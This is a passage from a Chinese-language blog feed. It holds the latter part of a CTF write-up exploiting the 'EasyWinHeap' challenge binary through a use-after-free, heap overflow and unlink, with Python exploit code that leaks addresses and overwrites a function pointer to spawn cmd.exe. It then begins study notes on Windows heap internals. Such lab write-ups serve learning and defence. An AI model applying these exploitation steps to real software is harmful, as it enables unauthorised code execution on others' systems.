Aware</span><br></pre></td></tr></table></figure><p>箭头指向的地方即表示打开了ASLR。</p><p>本来很容易能看出<code>UAF+堆溢出=unlink</code>，但是我们却找不到<code>MyHeapEntry_0</code>这个变量的地址，只好先尝试leak。好在UAF之后没有任何check就能够打印，因此可以将堆的地址leak出来。然后，一个非常重要的特点（比赛的时候居然没发现！），这里的<code>MyHeapEntry_0</code>的值也是在堆上的！所以换句话说，其实这里不需要知道<code>MyHeapEntry_0</code>这个变量的具体地址，而是<strong>这个数组指向的地址</strong>，也就是一个堆上的地址。我们稍微分析一下堆此时的情况可以有如下的图:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">+-------------+-------------+            +-------------+-------------+</span><br><span class="line">| func_ptr    |   func_ptr  |            |             |             |</span><br><span class="line">+-------------+-------------+   .......  |   content   |   content   |</span><br><span class="line">| content_ptr | content_ptr |            |             |             |</span><br><span class="line">+-------------+-------------+            +-------------+-------------+</span><br><span class="line">     |             |                           ^              ^</span><br><span class="line">     |             |                           |              |</span><br><span class="line">     |             |                           |              |</span><br><span class="line">     |             +---------------------------|--------------+</span><br><span class="line">     +-----------------------------------------+</span><br></pre></td></tr></table></figure><p>此时的内存中<strong>每一个内存块的相对偏移都是一样的</strong>。也就是说，我们只要能够泄露一块地址，我们此时就能够利用相对偏移的方式，找到当前存放的<code>func_ptr/content_ptr</code>的block。这边稍微写一个poc试一下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span><br><span class="line">    ph = Process(<span class="string">&quot;EasyWinHeap.exe&quot;</span>)</span><br><span class="line">    <span class="comment"># ph.interactive()</span></span><br><span class="line">    <span class="comment"># 0</span></span><br><span class="line">    alloca(ph, <span class="number">2</span>)</span><br><span class="line">    <span class="comment"># 1</span></span><br><span class="line">    alloca(ph, <span class="number">2</span>)</span><br><span class="line">    <span class="comment"># 2</span></span><br><span class="line">    alloca(ph, <span class="number">2</span>)</span><br><span class="line">    <span class="comment"># 3</span></span><br><span class="line">    alloca(ph, <span class="number">2</span>)</span><br><span class="line">    <span class="comment"># 4</span></span><br><span class="line">    alloca(ph, <span class="number">2</span>)</span><br><span class="line">    <span class="comment"># 5</span></span><br><span class="line">    alloca(ph, <span class="number">2</span>)</span><br><span class="line">    <span class="comment"># delete the 1 and 3 </span></span><br><span class="line">    delete(ph, <span class="number">1</span>)</span><br><span class="line">    delete(ph, <span class="number">3</span>)</span><br><span class="line">    <span class="comment"># print the index 3, leak information</span></span><br><span class="line">    cont = show(ph, <span class="number">1</span>)</span><br><span class="line">    <span class="built_in">print</span>(cont)</span><br><span class="line">    addr = u32(cont[<span class="number">6</span>:<span class="number">6</span>+<span class="number">4</span>])</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[*] leak address is &quot;</span> + <span class="built_in">hex</span>(addr))</span><br></pre></td></tr></table></figure><p>上述代码构造了一个如下的堆:<br><img src="/2020/07/16/SCTF-EasyWinPwn/winheap01.png" alt=""><br>通过打印，我们就能够将bk的内容打印出来。并且如上图，这些内存的相对位置都是固定的，于是我们就能将当前的MyHeapEntry数组的地址泄露出来。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># table base address</span></span><br><span class="line">table_addr = addr - <span class="number">0xc0</span>+<span class="number">0x8</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[+] table address is &quot;</span> + <span class="built_in">hex</span>(table_addr))</span><br><span class="line"><span class="comment"># now we try to unlink this chunk</span></span><br><span class="line">block_1 = table_addr + <span class="number">0xc</span></span><br></pre></td></tr></table></figure><h4 id="leak-image">Leak image</h4><p>当获得了<code>block[1]</code>的地址之后，我们此时就有了一个unlink的机会。这边记得，Windows下的unlink是不计算heap头的，所以写出来的利用code就是如下的形式:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># unlink this block</span></span><br><span class="line">fd = block_1-<span class="number">0x4</span></span><br><span class="line">bk = block_1</span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">                                   block[1]</span></span><br><span class="line"><span class="string">+----------+----------+----------+-----------+-----------+</span></span><br><span class="line"><span class="string">|   func   |  ptr[0]  |   func   |   ptr[1]  |   func    |</span></span><br><span class="line"><span class="string">+----------+----------+----------+-----------+-----------+</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line">send_content = p32(fd)+p32(bk)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[*] fd:0x%x, bk:0x%x&quot;</span>%(fd, bk))</span><br><span class="line"><span class="built_in">print</span>(send_content)</span><br><span class="line">edit(ph, <span class="number">1</span>, send_content)</span><br><span class="line"><span class="comment"># trigger the unlink</span></span><br><span class="line">delete(ph, <span class="number">0</span>)</span><br></pre></td></tr></table></figure><p>trigger漏洞之后，我们就能够得到:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">block[1].ptr-&gt; &amp;block[1].ptr</span><br></pre></td></tr></table></figure><p>此时我们只要尝试修改<code>block[1]</code>的content，就能够直接修改ptr的值，甚至<code>block[2]/block[3]...</code>的func和ptr，也就是一个<strong>任意地址写</strong>。同时，当call show的时候，会调用</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">func</span>(ptr[<span class="number">1</span>])</span><br></pre></td></tr></table></figure><p>此处相当于是<strong>任意地址读</strong>。那我们接下来要做的事情就和Linux下的pwn有点像：找到system函数，然后call起来~。回忆一下，Linux下我们会尝试寻找一个函数（通常就是puts）的got表，然后将其plt的值打印出来，再和主办方提供的<code>libc.so.6</code>的puts地址对比找到其加载的地址。而Windows下其实也是一样的，只不过Windows下的叫做导入表<code>IAT (import address table)</code>，比方说这个puts函数:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// .code</span></span><br><span class="line">.text:<span class="number">00401040</span> ; <span class="function"><span class="type">int</span> __cdecl <span class="title">puts</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *Str)</span></span></span><br><span class="line"><span class="function">.text:<span class="number">00401040</span> puts            proc near               ;</span> DATA XREF: sub_401050+<span class="number">174</span>↓o</span><br><span class="line">.text:<span class="number">00401040</span></span><br><span class="line">.text:<span class="number">00401040</span> Str             = dword ptr  <span class="number">4</span></span><br><span class="line">.text:<span class="number">00401040</span></span><br><span class="line">.text:<span class="number">00401040</span>                 jmp     ds:__imp_puts</span><br><span class="line">.text:<span class="number">00401040</span> puts            endp</span><br><span class="line"><span class="comment">// IAT part</span></span><br><span class="line">.idata:<span class="number">004020</span>C4 ; <span class="function"><span class="type">int</span> __cdecl <span class="title">puts</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *Str)</span></span></span><br><span class="line"><span class="function">.idata:<span class="number">004020</span>C4                 extrn __imp_puts:dword  ;</span> CODE XREF: sub_401050+<span class="number">95</span>↑p</span><br><span class="line">.idata:<span class="number">004020</span>C4                                         ; sub_401050+<span class="number">9</span>C↑p ...</span><br></pre></td></tr></table></figure><p>可以看到，其本身和Linux也很像，也是当call puts函数的时候，直接跳转到一个表上，这个表中会填入puts在当前进程中真正的函数地址。而puts在的dll名字叫做<code>ucrtbase.dll</code>，其中正好存放了<code>system</code>这个函数。那利用起来就和Linux很像了。不过由于ASLR对整个image都生效了，首先我们要试着泄露image。幸好puts的地址被存放在了堆上，而且之前我们让<code>block[1]</code>指向了ptr, 我们这边将image的地址泄露出来:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># now the block[1] point to &amp;block[1]</span></span><br><span class="line">cont = show(ph, <span class="number">1</span>)</span><br><span class="line"><span class="built_in">print</span>(cont)</span><br><span class="line">addr = cont[<span class="number">6</span>:]</span><br><span class="line">addr = u32(addr)&amp;<span class="number">0xfffffff0</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;func|size is &quot;</span> + <span class="built_in">hex</span>(addr))</span><br><span class="line"><span class="built_in">input</span>(<span class="string">&quot;waiting for dbg...&quot;</span>)</span><br><span class="line">puts_real = addr</span><br><span class="line">puts_func_offset = <span class="number">0x00401040</span> - <span class="number">0x00401000</span></span><br><span class="line">puts_iat = <span class="number">0x004020c4</span> - <span class="number">0x00401000</span></span><br><span class="line">base_image = puts_real - puts_func_offset</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[+] leak image base is &quot;</span> + <span class="built_in">hex</span>(base_image))</span><br></pre></td></tr></table></figure><p>泄露出了此时内存中image的puts的地址，然后通过当前image的相对偏移量，就能够将整个image的地址泄露出来。<br>之后我们计算出此时puts在IAT中的地址，然后写入<code>block[1].ptr</code>，之后再次泄露:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">send_content = p32(puts_iat+base_image)</span><br><span class="line">edit(ph, <span class="number">1</span>, send_content)</span><br><span class="line">cont = show(ph, <span class="number">1</span>)</span><br><span class="line"><span class="built_in">print</span>(cont)</span><br><span class="line"><span class="comment"># here we leak the ucrtbase address</span></span><br><span class="line">puts_curt_addr = u32(cont[<span class="number">2</span>:<span class="number">5</span>])</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[+] now leak the ucrt_base address &quot;</span>)</span><br></pre></td></tr></table></figure><p>此时我们就能够将<code>ucrtbase.dll</code>给泄露出来了！</p><h3 id="pwn">PWN！</h3><p>现在完事具备，我们只剩下将函数指针修改一下，然后call show 就能够完成pwn了！不过此时稍微注意一下，我们之前已经将<code>block[1].ptr</code>修改成了puts的IAT地址，此时如果调用edit，只会尝试修改puts IAT地方的内容，这个显然不是我们希望的，毕竟我们需要一个可以控制的指针。不过还记得刚刚提到的，<strong>我们的任意地址写能够直接修改ptr的值，甚至<code>block[2]/block[3]...</code>的func和ptr</strong>。所以我们只需要在泄露image的那次，<strong>提前将block[2]或者block[3]的ptr地址布置成我们想要的形式</strong>，就能够继续实现任意地址写！<br>经过测试，我们发现修改直接修改<code>block[2]</code>的指针，使其指向block[1]-0x4，那么此时即使我们使用完<code>block[1]</code>之后，仍然拥有第二个任意地址写的指针。<br>这次我们直接将<code>block[1]-0x4</code>的位置开始的值写入<code>cmd.exe\0</code>，然后正好可以把属于<code>block[2]</code>的位置的函数修改成我们的目标函数指针。这边附上代码说明更加简单</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">                  block[1]              block[1]</span></span><br><span class="line"><span class="string">    +----------+----------+----------+-----------+-----------+</span></span><br><span class="line"><span class="string">    |   func   | puts_iat |   func   |   ptr[2]  |   func    |</span></span><br><span class="line"><span class="string">    +----------+----------+----------+-----------+-----------+</span></span><br><span class="line"><span class="string">    ptr[2] ---&gt; &amp;block[1]</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    send_content = p32(puts_iat+base_image) + p32(puts_real) + p32(block_1 - <span class="number">0x4</span>)</span><br><span class="line">    edit(ph, <span class="number">1</span>, send_content)</span><br><span class="line">    cont = show(ph, <span class="number">1</span>)</span><br><span class="line">    <span class="built_in">print</span>(cont)</span><br><span class="line">    <span class="comment"># here we leak the ucrtbase address</span></span><br><span class="line">    puts_ucrt_addr = u32(cont[<span class="number">2</span>:<span class="number">6</span>])</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(puts_ucrt_addr))</span><br><span class="line">    ucrt_base = puts_ucrt_addr - ucrt_puts</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] now leak the ucrt_base address &quot;</span> + <span class="built_in">hex</span>(ucrt_base))</span><br><span class="line">    real_system = ucrt_system + ucrt_base</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] the system address is &quot;</span> + <span class="built_in">hex</span>(real_system))</span><br><span class="line">    <span class="comment"># now we overwrite the block[2] func and content information</span></span><br><span class="line">    edit(ph, <span class="number">2</span>, <span class="string">b&quot;cmd.exe\0&quot;</span> + p32(real_system) + p32(block_1 - <span class="number">0x4</span>))</span><br><span class="line">    <span class="built_in">input</span>(<span class="string">&quot;waiting for dbg...&quot;</span>)</span><br><span class="line">    <span class="comment"># edit(ph, 1, p32(block_1+4) + )</span></span><br><span class="line">    print_banner(ph)</span><br><span class="line">    ph.sendline(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">    cont = ph.recvuntil(<span class="string">&quot;index &gt;&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(cont.decode(<span class="string">&#x27;utf-8&#x27;</span>))</span><br><span class="line">    ph.sendline(<span class="built_in">str</span>(<span class="number">2</span>))</span><br><span class="line">    ph.interactive()</span><br></pre></td></tr></table></figure><p>运行之后就能够拿到shell啦！</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">content  &gt;</span><br><span class="line">b&#x27;cmd.exe\x00\x90\xc0Ou\xa0\x04y\x01&#x27;</span><br><span class="line">waiting for dbg...</span><br><span class="line"></span><br><span class="line">/----------------------\</span><br><span class="line">|   1: Alloc.          |</span><br><span class="line">|   2: Delete.         |</span><br><span class="line">|   3: Show.           |</span><br><span class="line">|   4: Edit.           |</span><br><span class="line">|   5: Exit.           |</span><br><span class="line">\----------------------/</span><br><span class="line">option &gt;</span><br><span class="line">3</span><br><span class="line"></span><br><span class="line">index &gt;</span><br><span class="line">Switching to interative mode</span><br><span class="line">$</span><br><span class="line">Microsoft Windows [ 10.0.18363.900]</span><br><span class="line">(c) 2019 Microsoft Corporation</span><br></pre></td></tr></table></figure><h2 id="后记">后记</h2><p>这段时间因为工作上的一些事情，过的浑浑噩噩的。甚至于对技术都没能像过去那样充满专注，导致一个简单的heap pwn 的writeup居然也写了两周，这个真的是不应该。不过这个比赛也让我发现CTF确实是第一生产力（大雾），看了两周没看懂的winheap，一个比赛就懂了，确实还是有帮助。而且Windows下的堆和Linux下的区别似乎不少，这次比赛也只是浅浅的了解了一些，以后有机会的话还是得深入理解一下Rtl系列中和heap相关的部分。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;上上周末打了个比赛，wp硬是拖到了这周才写完。。。。&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
    <category term="heap" scheme="https://showlinkroom.me/tags/heap/"/>
    
  </entry>
  
  <entry>
    <title>WindowsHeap101</title>
    <link href="https://showlinkroom.me/2020/07/14/WindowsHeap101/"/>
    <id>https://showlinkroom.me/2020/07/14/WindowsHeap101/</id>
    <published>2020-07-13T16:24:57.000Z</published>
    <updated>2020-08-22T16:19:35.736Z</updated>
    
    <content type="html"><![CDATA[<p>基本上是照搬AngelBoy大师傅的<a href="https://www.slideshare.net/AngelBoy1/heap-exploitation-51891400">slides</a>，纯新手用的Windows heap笔记…</p><h2 id="more-windows-heap-101"><span id="more"></span><br>Windows Heap 101</h2><h3 id="windows-heap结构">windows heap结构</h3><p>堆的种类</p><ul><li>Defautl Heap:默认堆，当使用Windows api直接申请的时候使用的就是这个堆</li><li>存放在<code>_PEB</code>中</li><li>CRT heap：使用C头分配的堆，本质上还是defaut，不过有自己封装了一层别的内容</li><li>存放在<code>crt_heap</code>中</li></ul><p>win10之后堆分为两种：<code>Segment heap</code>和<code>NT heap</code>。当一个进程分配堆的时候，大部分场合默认使用的堆都是后面那种，前面的<code>segment heap</code>通常会在winapp或者某些特殊的进程（核心进程）中会使用到。（也可以控制注册表打开<code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\</code>)<br>这两种堆称为<strong>前端堆（Frontend Heap）<strong>和</strong>后端堆（Backend Heap）</strong></p><h2 id="官方文档中对于堆的介绍">官方文档中对于堆的介绍</h2><p>最近查看MSDN的时候，发现官方也有了对于堆的介绍了！虽然可能和实际有点出入，不过好歹也是官方的，这里记录一下。</p><h3 id="light-page-heap-block-alloc">Light page heap block(alloc)</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">+-----+---------------+---+                                  </span><br><span class="line">|     |               |   |                                  </span><br><span class="line">+-----+---------------+---+                                  </span><br><span class="line">   ^         ^          ^                                    </span><br><span class="line">   |         |          8 suffix bytes (filled with 0xA0)    </span><br><span class="line">   |         User allocation (filled with E0 if zeroing not requested) </span><br><span class="line">   Block header (starts with 0xABCDAAAA and ends with 0xDCBAAAAA) </span><br></pre></td></tr></table></figure><h3 id="light-page-heap-block-free">Light page heap block(free)</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">+-----+---------------+---+                                  </span><br><span class="line">|     |               |   |                                  </span><br><span class="line">+-----+---------------+---+                                  </span><br><span class="line">   ^         ^          ^                                    </span><br><span class="line">   |         |          8 suffix bytes (filled with 0xA0)    </span><br><span class="line">   |         User allocation (filled with F0 bytes)          </span><br><span class="line">   Block header (starts with 0xABCDAAA9 and ends with 0xDCBAAA9) </span><br></pre></td></tr></table></figure><h3 id="full-page-heap-block-allocated">Full page heap block – allocated:</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">+-----+---------+---+-------                                 </span><br><span class="line">|     |         |   |  ... N/A page                          </span><br><span class="line">+-----+---------+---+-------                                 </span><br><span class="line">   ^       ^      ^                                          </span><br><span class="line">   |       |      0-7 suffix bytes (filled with 0xD0)        </span><br><span class="line">   |       User allocation (if zeroing not requested, filled   </span><br><span class="line">           with C0)       </span><br><span class="line">   Block header (starts with 0xABCDBBBB and ends with 0xDCBABBBB) </span><br></pre></td></tr></table></figure><h3 id="full-page-heap-block-freed">Full page heap block – freed:</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">+-----+---------+---+-------                                 </span><br><span class="line">|     |         |   |  ... N/A page                          </span><br><span class="line">+-----+---------+---+-------                                 </span><br><span class="line">   ^       ^      ^                                          </span><br><span class="line">   |       |      0-7 suffix bytes (filled with 0xD0)        </span><br><span class="line">   |       User allocation (filled with F0 bytes)            </span><br><span class="line">   Block header (starts with 0xABCDBBA and ends with 0xDCBABBBA) </span><br></pre></td></tr></table></figure><h2 id="核心结构体">核心结构体</h2><h3 id="heap">HEAP</h3><p>管理堆最主要的结构体，在每一个被分配的堆的最前面。（就好像<code>arena</code>一类的结构体）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line">2:007&gt; dt ntdll!_HEAP</span><br><span class="line">   +0x000 Segment          : _HEAP_SEGMENT</span><br><span class="line">   +0x000 Entry            : _HEAP_ENTRY</span><br><span class="line">   +0x008 SegmentSignature : Uint4B</span><br><span class="line">   +0x00c SegmentFlags     : Uint4B</span><br><span class="line">   +0x010 SegmentListEntry : _LIST_ENTRY</span><br><span class="line">   +0x018 Heap             : Ptr32 _HEAP</span><br><span class="line">   +0x01c BaseAddress      : Ptr32 Void</span><br><span class="line">   +0x020 NumberOfPages    : Uint4B</span><br><span class="line">   +0x024 FirstEntry       : Ptr32 _HEAP_ENTRY</span><br><span class="line">   +0x028 LastValidEntry   : Ptr32 _HEAP_ENTRY</span><br><span class="line">   +0x02c NumberOfUnCommittedPages : Uint4B</span><br><span class="line">   +0x030 NumberOfUnCommittedRanges : Uint4B</span><br><span class="line">   +0x034 SegmentAllocatorBackTraceIndex : Uint2B</span><br><span class="line">   +0x036 Reserved         : Uint2B</span><br><span class="line">   +0x038 UCRSegmentList   : _LIST_ENTRY</span><br><span class="line">   +0x040 Flags            : Uint4B</span><br><span class="line">   +0x044 ForceFlags       : Uint4B</span><br><span class="line">   +0x048 CompatibilityFlags : Uint4B</span><br><span class="line">   +0x04c EncodeFlagMask   : Uint4B</span><br><span class="line">   +0x050 Encoding         : _HEAP_ENTRY</span><br><span class="line">   +0x058 Interceptor      : Uint4B</span><br><span class="line">   +0x05c VirtualMemoryThreshold : Uint4B</span><br><span class="line">   +0x060 Signature        : Uint4B</span><br><span class="line">   +0x064 SegmentReserve   : Uint4B</span><br><span class="line">   +0x068 SegmentCommit    : Uint4B</span><br><span class="line">   +0x06c DeCommitFreeBlockThreshold : Uint4B</span><br><span class="line">   +0x070 DeCommitTotalFreeThreshold : Uint4B</span><br><span class="line">   +0x074 TotalFreeSize    : Uint4B</span><br><span class="line">   +0x078 MaximumAllocationSize : Uint4B</span><br><span class="line">   +0x07c ProcessHeapsListIndex : Uint2B</span><br><span class="line">   +0x07e HeaderValidateLength : Uint2B</span><br><span class="line">   +0x080 HeaderValidateCopy : Ptr32 Void</span><br><span class="line">   +0x084 NextAvailableTagIndex : Uint2B</span><br><span class="line">   +0x086 MaximumTagIndex  : Uint2B</span><br><span class="line">   +0x088 TagEntries       : Ptr32 _HEAP_TAG_ENTRY</span><br><span class="line">   +0x08c UCRList          : _LIST_ENTRY</span><br><span class="line">   +0x094 AlignRound       : Uint4B</span><br><span class="line">   +0x098 AlignMask        : Uint4B</span><br><span class="line">   +0x09c VirtualAllocdBlocks : _LIST_ENTRY</span><br><span class="line">   +0x0a4 SegmentList      : _LIST_ENTRY</span><br><span class="line">   +0x0ac AllocatorBackTraceIndex : Uint2B</span><br><span class="line">   +0x0b0 NonDedicatedListLength : Uint4B</span><br><span class="line">   +0x0b4 BlocksIndex      : Ptr32 Void</span><br><span class="line">   +0x0b8 UCRIndex         : Ptr32 Void</span><br><span class="line">   +0x0bc PseudoTagEntries : Ptr32 _HEAP_PSEUDO_TAG_ENTRY</span><br><span class="line">   +0x0c0 FreeLists        : _LIST_ENTRY</span><br><span class="line">   +0x0c8 LockVariable     : Ptr32 _HEAP_LOCK</span><br><span class="line">   +0x0cc CommitRoutine    : Ptr32     long </span><br><span class="line">   +0x0d0 StackTraceInitVar : _RTL_RUN_ONCE</span><br><span class="line">   +0x0d4 CommitLimitData  : _RTL_HEAP_MEMORY_LIMIT_DATA</span><br><span class="line">   +0x0e4 FrontEndHeap     : Ptr32 Void</span><br><span class="line">   +0x0e8 FrontHeapLockCount : Uint2B</span><br><span class="line">   +0x0ea FrontEndHeapType : UChar</span><br><span class="line">   +0x0eb RequestedFrontEndHeapType : UChar</span><br><span class="line">   +0x0ec FrontEndHeapUsageData : Ptr32 Wchar</span><br><span class="line">   +0x0f0 FrontEndHeapMaximumIndex : Uint2B</span><br><span class="line">   +0x0f2 FrontEndHeapStatusBitmap : [257] UChar</span><br><span class="line">   +0x1f4 Counters         : _HEAP_COUNTERS</span><br><span class="line">   +0x250 TuningParameters : _HEAP_TUNING_PARAMETERS</span><br></pre></td></tr></table></figure><p>这里注我们关注如下的结构体对象</p><ul><li>EncodeFlagMask：当在堆被初始化之后，会被设置为0x100000，这个标志位能够决定当前的堆头部是否会被加密</li><li>Encoding：这个值用来和chunk header进行亦或，从而得到真实的chunk header</li><li>BlocksIndex：这个值用来管理后端堆，其本质为<code>_HEAP_LIST_LOOKUP_</code></li><li>FreeList：用于搜集所有的被释放后的堆块，这个链表和<code>unsorted bin</code>有点像，是一个排列过的链表。其本质为<code>FreeList</code></li><li>FrontEndHeap: 指向前端堆结构体的指针</li><li>FrontEndHeapUsageData: 记录不同大小的堆的使用情况，当到达一定水平的时候，堆将会使用前端堆而不是后端堆。</li></ul><h3 id="heap-entry">_HEAP_ENTRY</h3><p>每一个堆的最基本的堆结构体</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">+-------------------------+</span><br><span class="line">| PreviousBlockPrivateData|</span><br><span class="line">+-------------------------+</span><br><span class="line">|       chunk header      |</span><br><span class="line">+-------------------------+</span><br><span class="line">|          data           |</span><br><span class="line">+-------------------------+</span><br></pre></td></tr></table></figure><p><strong>chunk</strong>为一个最基本的单位，在win10里面也是。<br>chunk分为三种不同的堆：</p><ul><li>Allocated chunk</li><li>Free chunk</li><li>VirtualAlloc chunk(没有PreviousBlockPrivateData)</li></ul><p>三者的结构体有一点不同，我们先介绍第一种。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span 